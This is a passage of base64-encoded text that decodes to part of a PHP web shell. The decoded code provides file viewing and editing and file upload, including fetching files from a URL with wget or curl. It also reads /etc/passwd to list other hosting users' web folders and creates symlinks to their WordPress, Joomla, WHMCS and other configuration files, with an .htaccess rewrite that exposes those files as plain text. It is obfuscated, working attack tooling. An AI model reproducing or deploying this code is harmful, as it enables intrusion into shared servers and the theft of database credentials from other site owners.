vICI8ZGl2IHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luOjhweDtcIj48aW1nIHNyYz1cIj95PSIuJHB3ZC4iJmFtcDtpbWc9Ii4kZmlsbi4iXCI+PC9kaXY+IjsKICAgIH0KICAgIGVsc2VpZihpc3NldCgkX0dFVFsndHlwZSddKSAmJiAoJF9HRVRbJ3R5cGUnXT09J2NvZGUnKSl7CiAgICAgICAgZWNobyAiPGRpdiBjbGFzcz1cInZpZXdmaWxlXCI+IjsKICAgICAgICAkZmlsZSA9IHdvcmR3cmFwKEBmaWxlX2dldF9jb250ZW50cygkZmlsZSksIjI0MCIsIlxuIik7CiAgICAgICAgQGhpZ2hsaWdodF9zdHJpbmcoJGZpbGUpOwogICAgICAgIGVjaG8gIjwvZGl2PiI7CiAgICB9CiAgICBlbHNlIHsKICAgICAgICBlY2hvICI8ZGl2IGNsYXNzPVwidmlld2ZpbGVcIj4iOwogICAgICAgIGVjaG8gbmwyYnIoaHRtbGVudGl0aWVzKChAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKSkpOwogICAgICAgIGVjaG8gIjwvZGl2PiI7CiAgICB9CiAgfQogIGVsc2VpZihpc19kaXIoJF9HRVRbJ3ZpZXcnXSkpewogICAgICAgIGVjaG8gc2hvd2RpcigkcHdkLCRwcm9tcHQpOwogIH0KICAgIAp9CmVsc2VpZihpc3NldCgkX0dFVFsnZWRpdCddKSAmJiAoJF9HRVRbJ2VkaXQnXSAhPSAiIikpe0Bpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCgogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc2F2ZSddKSl7CiAgICAgICAgICAgICRmaWxlID0gJF9QT1NUWydzYXZlYXMnXTsKICAgICAgICAgICAgJGNvbnRlbnQgPSBtYWdpY2Jvb20oJF9QT1NUWydjb250ZW50J10pOwogICAgICAgICAgICBpZigkZmlsZXogPSBAZm9wZW4oJGZpbGUsInciKSl7CiAgICAgICAgICAgICAgICAkdGltZSA9IGRhdGUoImQtTS1ZIEg6aSIsdGltZSgpKTsKICAgICAgICAgICAgICAgIGlmKEBmd3JpdGUoJGZpbGV6LCRjb250ZW50KSkgJG1zZyA9ICJmaWxlIHNhdmVkIDxzcGFuIGNsYXNzPVwiZ2F5YVwiPkA8L3NwYW4+ICIuJHRpbWU7CiAgICAgICAgICAgICAgICBlbHNlICRtc2cgPSAiZmFpbGVkIHRvIHNhdmUiOwogICAgICAgICAgICAgICAgQGZjbG9zZSgkZmlsZXopOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgJG1zZyA9ICJwZXJtaXNzaW9uIGRlbmllZCI7CiAgICAgICAgfQogICAgICAgIGlmKCFpc3NldCgkZmlsZSkpICRmaWxlID0gJF9HRVRbJ2VkaXQnXTsKICAgICAgICBpZigkZmlsZXogPSBAZm9wZW4oJGZpbGUsInIiKSl7CiAgICAgICAgICAgICRjb250ZW50ID0gIiI7CiAgICAgICAgICAgIHdoaWxlKCFmZW9mKCRmaWxleikpewogICAgICAgICAgICAgICAgJGNvbnRlbnQgLj0gaHRtbGVudGl0aWVzKHN0cl9yZXBsYWNlKCInJyIsIiciLGZnZXRzKCRmaWxleikpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBAZmNsb3NlKCRmaWxleik7CiAgICAgICAgfQogICAgCj8+Cjxmb3JtIGFjdGlvbj0iP3k9PD89JHB3ZDsgPz4mYW1wO2VkaXQ9PD89JGZpbGU7ID8+IiBtZXRob2Q9InBvc3QiPgo8dGFibGUgY2xhc3M9ImNtZGJveCI+Cjx0cj48dGQgY29sc3Bhbj0iMiI+Cjx0ZXh0YXJlYSBjbGFzcz0ib3V0cHV0IiBuYW1lPSJjb250ZW50Ij4KPD89JGNvbnRlbnQ7ID8+CjwvdGV4dGFyZWE+Cjx0cj48dGQgY29sc3Bhbj0iMiI+U2F2ZSBhcyA8aW5wdXQgb25Nb3VzZU92ZXI9InRoaXMuZm9jdXMoKTsiIGlkPSJjbWQiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNhdmVhcyIgc3R5bGU9IndpZHRoOjYwJTsiIHZhbHVlPSI8Pz0kZmlsZTsgPz4iIC8+PGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNhdmUgISIgbmFtZT0ic2F2ZSIgc3R5bGU9IndpZHRoOjEyJTsiIC8+CiZuYnNwOzw/PSRtc2c7ID8+PC90ZD48L3RyPgo8L3RhYmxlPgo8L2Zvcm0+Cjw/cGhwCn0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdsb2dvdXQnKSkKeyAgIAo/Pgo8Zm9ybSBhY3Rpb249Ij95PTw/PSRwd2Q7ID8+JmFtcDt4PWxvZ291dCIgbWV0aG9kPSJwb3N0Ij4KCjw/cGhwCiAgICB1bnNldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKTsgCiAgICBlY2hvICI8YnIgLz48YnIgLz48Y2VudGVyPkJ5ZWUgISEhISEhPC9jZW50ZXI+IjsgCn0KCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAndXBsb2FkJykpeyBAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7IAplY2hvICIKPHRhYmxlIHN0eWxlPXdpZHRoOjEwMCU7IGJvcmRlcj0wIGNsYXNzPXRhYm5ldCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTEgYWxpZ249Y2VudGVyPgoKICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249dG9wIGJnY29sb3I9IzE1MTUxNSBjbGFzcz1zdHlsZTIgc3R5bGU9d2lkdGg6IDEzOXB4PgogICAgPGNlbnRlcj48Yj48Zm9udCBzaXplPTUgc3R5bGU9aXRhbGljIGNvbG9yPSMwMGZmMDA+VXBsb2FkZXI8L2ZvbnQ+PC9iPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgoiOwppZihpc3NldCgkX1BPU1RbJ3VwbG9hZGNvbXAnXSkpewogICAgaWYoaXNfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10pKXsKICAgICAgICAkcGF0aCA9IG1hZ2ljYm9vbSgkX1BPU1RbJ3BhdGgnXSk7CiAgICAgICAgJGZuYW1lID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ107CiAgICAgICAgJHRtcF9uYW1lID0gJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddOwogICAgICAgICRwaW5kYWggPSAkcGF0aC4kZm5hbWU7CiAgICAgICAgJHN0YXQgPSBAbW92ZV91cGxvYWRlZF9maWxlKCR0bXBfbmFtZSwkcGluZGFoKTsgICAgIAogICAgICAgIGlmICgkc3RhdCkgewogICAgICAgICAgICAkbXNnID0gImZpbGUgdXBsb2FkZWQgdG8gJHBpbmRhaCI7CiAgICAgICAgfQogICAgICAgIGVsc2UgJG1zZyA9ICJmYWlsZWQgdG8gdXBsb2FkICRmbmFtZSI7CiAgICB9CiAgICBlbHNlICRtc2cgPSAiZmFpbGVkIHRvIHVwbG9hZCAkZm5hbWUiOwp9CmVsc2VpZihpc3NldCgkX1BPU1RbJ3VwbG9hZHVybCddKSl7QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOyAKICAgICRwaWxpaGFuID0gdHJpbSgkX1BPU1RbJ3BpbGloYW4nXSk7CiAgICAkd3VybCA9IHRyaW0oJF9QT1NUWyd3dXJsJ10pOwogICAgJHBhdGggPSBtYWdpY2Jvb20oJF9QT1NUWydwYXRoJ10pOwogICAgJG5hbWFmaWxlID0gZG93bmxvYWQoJHBpbGloYW4sJHd1cmwpOwogICAgJHBpbmRhaCA9ICRwYXRoLiRuYW1hZmlsZTsKICAgIGlmKGlzX2ZpbGUoJHBpbmRhaCkpIHsKICAgICAgICAkbXNnID0gImZpbGUgdXBsb2FkZWQgdG8gJHBpbmRhaCI7CiAgICB9CiAgICBlbHNlICRtc2cgPSAiZmFpbGVkIHRvIHVwbG9hZCAkbmFtYWZpbGUiOwoKfQo/Pgo8Zm9ybSBhY3Rpb249Ij95PTw/PSRwd2Q7ID8+JmFtcDt4PXVwbG9hZCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJwb3N0Ij48dGFibGUgY2xhc3M9InRhYm5ldCIgc3R5bGU9IndpZHRoOjMyMHB4O3BhZGRpbmc6MCAxcHg7Ij48dHI+PHRoIGNvbHNwYW49IjIiPjxiPlVwbG9hZCBGcm9tIENvbXB1dGVyPC9iPjwvdGg+PC90cj48dHI+PHRkIGNvbHNwYW49IjIiPjxwIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxpbnB1dCBzdHlsZT0iY29sb3I6IzAwMDAwMDsiIHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIC8+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkY29tcCIgY2xhc3M9ImlucHV0emJ1dCIgdmFsdWU9IkdvIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvcD48L3RkPgo8dHI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6OTklOyIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/PSRwd2Q7ID8+IiAvPjwvdGQ+PC90cj4KPC90cj48L3RhYmxlPjwvZm9ybT48dGFibGUgY2xhc3M9InRhYm5ldCIgc3R5bGU9IndpZHRoOjMyMHB4O3BhZGRpbmc6MCAxcHg7Ij48dHI+PHRoIGNvbHNwYW49IjIiPjxiPlVwbG9hZCBGcm9tIFVSTDwvYj48L3RoPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPSIyIj48Zm9ybSBtZXRob2Q9InBvc3QiIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjA7IiBhY3Rpb249Ij95PTw/PSRwd2Q7ID8+JmFtcDt4PXVwbG9hZCI+Cjx0YWJsZT48dHI+PHRkPlVybDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ3dXJsIiBzdHlsZT0id2lkdGg6MjUwcHg7IiB2YWx1ZT0iaHR0cDovL3d3dy5zb21lLWNvZGUvZXhwbG9pdHMuYyI+PC90ZD48L3RyPgo8dHI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6OTklOyIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/PSRwd2Q7ID8+IiAvPjwvdGQ+PC90cj4KPHRyPjx0ZD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InBpbGloYW4iPjxvcHRpb24gdmFsdWU9Ind3Z2V0Ij5XZ2V0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0id2x5bngiPkx5bng8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ3ZnJlYWQiPkZyZWFkPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0id2ZldGNoIj5GZXRjaDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IndsaW5rcyI+TGlua3M8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ3Z2V0Ij5HZXQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Q3VybDwvb3B0aW9uPgo8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGxvYWR1cmwiIGNsYXNzPSJpbnB1dHpidXQiIHZhbHVlPSJHbyIgc3R5bGU9IndpZHRoOjI0NnB4OyI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+CjwvdHI+PC90YWJsZT48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46MnB4OyI+PD89JG1zZzsgPz48L2Rpdj4KPD9waHAgfQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdqdW1waW5nJykpeyBAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7IAplY2hvICIKPHRhYmxlIHN0eWxlPXdpZHRoOjEwMCU7IGJvcmRlcj0wIGNsYXNzPXRhYm5ldCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTEgYWxpZ249Y2VudGVyPgoKICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249dG9wIGJnY29sb3I9IzE1MTUxNSBjbGFzcz1zdHlsZTIgc3R5bGU9d2lkdGg6IDEzOXB4PgogICAgPGNlbnRlcj48Yj48Zm9udCBzaXplPTUgc3R5bGU9aXRhbGljIGNvbG9yPSMwMGZmMDA+SnVtcGluZzwvZm9udD48L2I+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+CiI7Cj8+CiAgICA8Zm9ybSBhY3Rpb249Ij95PTw/PSRwd2Q7ID8+Jng9anVtcGluZyIgbWV0aG9kPSJwb3N0Ij4KICAgIDw/cGhwCiAgICBlY2hvICI8dGFibGUgY2xhc3M9XCJjbWRib3hcIj48dHI+PHRkIGNvbHNwYW49XCIyXCI+IjsgCigkc20gPSBpbmlfZ2V0KCdzYWZlX21vZGUnKSA9PSAwKSA/IAokc20gPSAnb2ZmJzogZGllKCI8Yj48Ymxpbms+PGZvbnQgc3R5bGU9J2NvbG9yOiNmZjAwMDAnPlstXSBFUlJPUjwvZm9udD48L2JsaW5rPiZuYnNwOzogJm5ic3A7Jm5ic3A7U2FmZV9tb2RlID0gT24gPC9iPjwvdGQ+PC90cj48L3RhYmxlPiIpOwogCnNldF90aW1lX2xpbWl0KDApOwplY2hvICI8dGFibGUgY2xhc3M9XCJjbWRib3hcIj48dHI+PHRkIGNvbHNwYW49XCIyXCI+IjsgIApAJHBhc3N3ZCA9IGZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsgCmlmICghJHBhc3N3ZCkgeyBkaWUgKCI8Yj48Ymxpbms+PGZvbnQgc3R5bGU9J2NvbG9yOiNmZjAwMDAnPlstXSBFUlJPUjwvZm9udD48L2JsaW5rPiZuYnNwOyA6ICZuYnNwOyZuYnNwOyBJIENhbid0IFJlYWQgWyAvZXRjL3Bhc3N3ZCBdPC9iPjwvdGQ+PC90cj48L3RhYmxlPgo8YnI+PGJyPjxicj48YnI+PGNlbnRlcj48ZGl2IGNsYXNzPVwiaW5mb1wiPjxiPjwvZGl2PiAKPGJyPjxicj48ZGl2IGNsYXNzPVwiamF5YVwiPiAmY29weTsgIi5kYXRlKCdZJyx0aW1lKCkpLiIgU2VjdXJpdHkgRXhwbG9kZWQgPC9iPjwvZGl2PjwvY2VudGVyPiIpOyB9CiRwdWIgPSBhcnJheSgpOyAKJHVzZXJzID0gYXJyYXkoKTsgCiRjb25mID0gYXJyYXkoKTsgCiRpID0gMDsgCgp3aGlsZSghZmVvZigkcGFzc3dkKSl7IAokc3RyID0gZmdldHMoJHBhc3N3ZCk7IAppZiAoJGkgPiAxMDApeyAkcG9zID0gc3RycG9zKCRzdHIsJzonKTsgCiR1c2VybmFtZSA9IHN1YnN0cigkc3RyLDAsJHBvcyk7IAokZGlyeiA9ICcvaG9tZS8nLiR1c2VybmFtZS4nL3B1YmxpY19odG1sLyc7IAppZiAoKCR1c2VybmFtZSAhPSAnJykpeyBpZiAoaXNfcmVhZGFibGUoJGRpcnopKXsgYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJuYW1lKTsgCmFycmF5X3B1c2goJHB1YiwkZGlyeik7IH0gfSB9ICRpKys7IH0gCmZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcil7IAplY2hvICcKPHRhYmxlPjx0cj48dGQ+W0ZvdW5kICFdPC90ZD4KICAgIDx0ZD48YSBocmVmPSI/eT0vaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwiPi9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC88L2E+PHRkPjwvdHI+JzsgfSAKIGVjaG8gIjwvdGFibGU+IjsKIH0gCgoKLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3N5bWxpbmsnKSkKeyAgIEBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCmVjaG8gIgo8dGFibGUgc3R5bGU9d2lkdGg6MTAwJTsgYm9yZGVyPTAgY2xhc3M9dGFibmV0IGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MSBhbGlnbj1jZW50ZXI+CgogICAgPHRyPgogICAgPHRkIHZhbGlnbj10b3AgYmdjb2xvcj0jMTUxNTE1IGNsYXNzPXN0eWxlMiBzdHlsZT13aWR0aDogMTM5cHg+CiAgICA8Y2VudGVyPjxiPjxmb250IHNpemU9NSBzdHlsZT1pdGFsaWMgY29sb3I9IzAwZmYwMD5NdWx0aSBUb29sIFN5bWxpbms8L2ZvbnQ+PC9iPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgoiOwo/Pgo8Zm9ybSBhY3Rpb249Ij95PTw/PSRwd2Q7ID8+JmFtcDt4PXN5bWxpbmsiIG1ldGhvZD0icG9zdCI+Cjxmb3JtIG1ldGhvZD0ncG9zdCc+PGNlbnRlcj48dGFibGUgY2xhc3M9J3RhYm5ldCc+PHRyPjx0aCBjb2xzcGFuPSc1Jz48Yj5NdWx0aSBUb29sIFN5bWxpbms8L2I+PC90aD48L3RyPjx0cj48dGg+PGI+TWFudWFsIFN5bWxpbms8L2I+PC90aD48dGg+PGI+QXV0byBTeW1saW5rPC9iPjwvdGg+PHRoPjxiPkRvbWFpbiBWaWV3ZXI8L2I+PC90aD48L3RyPjx0cj48dGQ+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCduYW1lPSdzeW1saW5rcicgdmFsdWU9Ik1hbnVhbCBTeW1saW5rIiAvPjwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnbmFtZT0nc3ltbGlua3MnIHZhbHVlPSJBdXRvIFN5bWxpbmsiIC8+PC90ZD48dGQ+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgbmFtZT0nZG9tYWluJyB2YWx1ZT0iRG9tYWluIFZpZXdlciIgLz48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj48L2Zvcm0+PGJyPjxocj48YnI+PGJyPgo8P3BocCAKCiM9PT09PT09PT09PT09PT09PT1bIE11bHRpIFRvb2wgU3ltbGluayBdPT09PT09PT09PT09PT09PT09IwoKaWYoaXNzZXQoJF9QT1NUWydkb21haW4nXSkpCnsKICAgPz4KICAgIDxmb3JtIGFjdGlvbj0iP3k9PD89JHB3ZDsgPz4meD1kdiIgbWV0aG9kPSJwb3N0Ij4KICAgIDxjZW50ZXI+PGgyPlsgRG9tYWluIFZpZXdlciBieSBdPGJyPk5vdGVzOiBJZiBCbGFuayhObyBEb21haW4pIFRoYXQgTWVhbiBOb3QgV29yayBVc2UgRG9tYWluIFZpZXdlciwgWW91IENhbiBVc2UgQXV0byBTeW1saW5rIFNlcnZlcjwvY2VudGVyPjxicj48YnI+CiAgICA8P3BocAogICAgZnVuY3Rpb24gb3BlbkJhc2VEaXIoKQp7CiRvcGVuQmFzZURpciA9IGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOwppZiAoISRvcGVuQmFzZURpcikKICAgIHsKICAgICAgICAkb3BlbkJhc2VEaXIgPSAnPGZvbnQgY29sb3I9ImdyZWVuIj5PRkY8L2ZvbnQ+JzsKICAgIH0KICAgIGVsc2UgCiAgICB7CiAgICAgICAgJG9wZW5CYXNlRGlyID0gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7CiAgICB9ICAgIAogICAgcmV0dXJuICRvcGVuQmFzZURpcjsKfQoKCmVjaG8gJwogICAgPHRhYmxlIHdpZHRoPSI5NSUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgY2xhc3M9InRkMSIgPgogICAgPHRkIGhlaWdodD0iMTAwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRkMSI+JzsKICAgICRwZyA9IGJhc2VuYW1lKF9fRklMRV9fKTsKICAgICRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7CiAgICAkZGlyID0gQGdldGN3ZCgpOwogICAgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwogICAgLy8gTEVUJ1MgUExBWSB+CiAgICAjIy5odGFjY2VzcwpAbWtkaXIoJ2V4cGxvZGVkc3ltJywwNzc3KTsKQHN5bWxpbmsoIi8iLCJleHBsb2RlZHN5bS9yb290Iik7CiRodGFjY3NzID0gIk9wdGlvbnMgYWxsIAogRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgCiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCAKIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIAogIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCAKIEFkZEhhbmRsZXIgdHh0IC5odG1sIAogUmVxdWlyZSBOb25lIAogU2F0aXNmeSBBbnkiOwogCmZpbGVfcHV0X2NvbnRlbnRzKCJleHBsb2RlZHN5bS8uaHRhY2Nlc3MiLCRodGFjY3NzKTsKJGV0YyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL3Bhc3N3ZCIpOwokZXRjeiA9IGV4cGxvZGUoIlxuIiwkZXRjKTsKCgojI1N5bWxpbmsgdG8gdGhlIFJPT1QgOnAKZm9yZWFjaCgkZXRjeiBhcyAkZXR6KXsKJGV0Y2MgPSBleHBsb2RlKCI6IiwkZXR6KTsKZXJyb3JfcmVwb3J0aW5nKDApOwoKJGN1cnJlbnRfZGlyID0gcG9zaXhfZ2V0Y3dkKCk7CiRkaXIgPSBleHBsb2RlKCIvIiwkY3VycmVudF9kaXIpOwoKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy93cC1jb25maWcucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVdvcmRQcmVzcy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9ibG9nL3dwLWNvbmZpZy5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictV29yZFByZXNzLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3dwL3dwLWNvbmZpZy5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictV29yZFByZXNzLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3NpdGUvd3AtY29uZmlnLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1Xb3JkUHJlc3MudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvY29uZmlnLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1QaHBCQi50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9pbmNsdWRlcy9jb25maWcucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLXZCdWxsZXRpbi50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1Kb29tbGEudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvd2ViL2NvbmZpZ3VyYXRpb24ucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLUpvb21sYS50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictSm9vbWxhLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3NpdGUvY29uZmlndXJhdGlvbi5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictSm9vbWxhLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2NvbmZfZ2xvYmFsLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1JUEIudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvaW5jL2NvbmZpZy5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictTXlCQi50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9TZXR0aW5ncy5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictU01GLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLURydXBhbC50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9lMTA3X2NvbmZpZy5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictZTEwNy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9kYXRhcy9jb25maWcucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVNlZGl0aW8udHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1vc0NvbW1lcmNlLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9jbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVdITUNTLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3N1cHBvcnRlcy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9kb21haW4vY29uZmlndXJhdGlvbi5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictV0hNQ1MudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvaG9zdGluZy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2Nb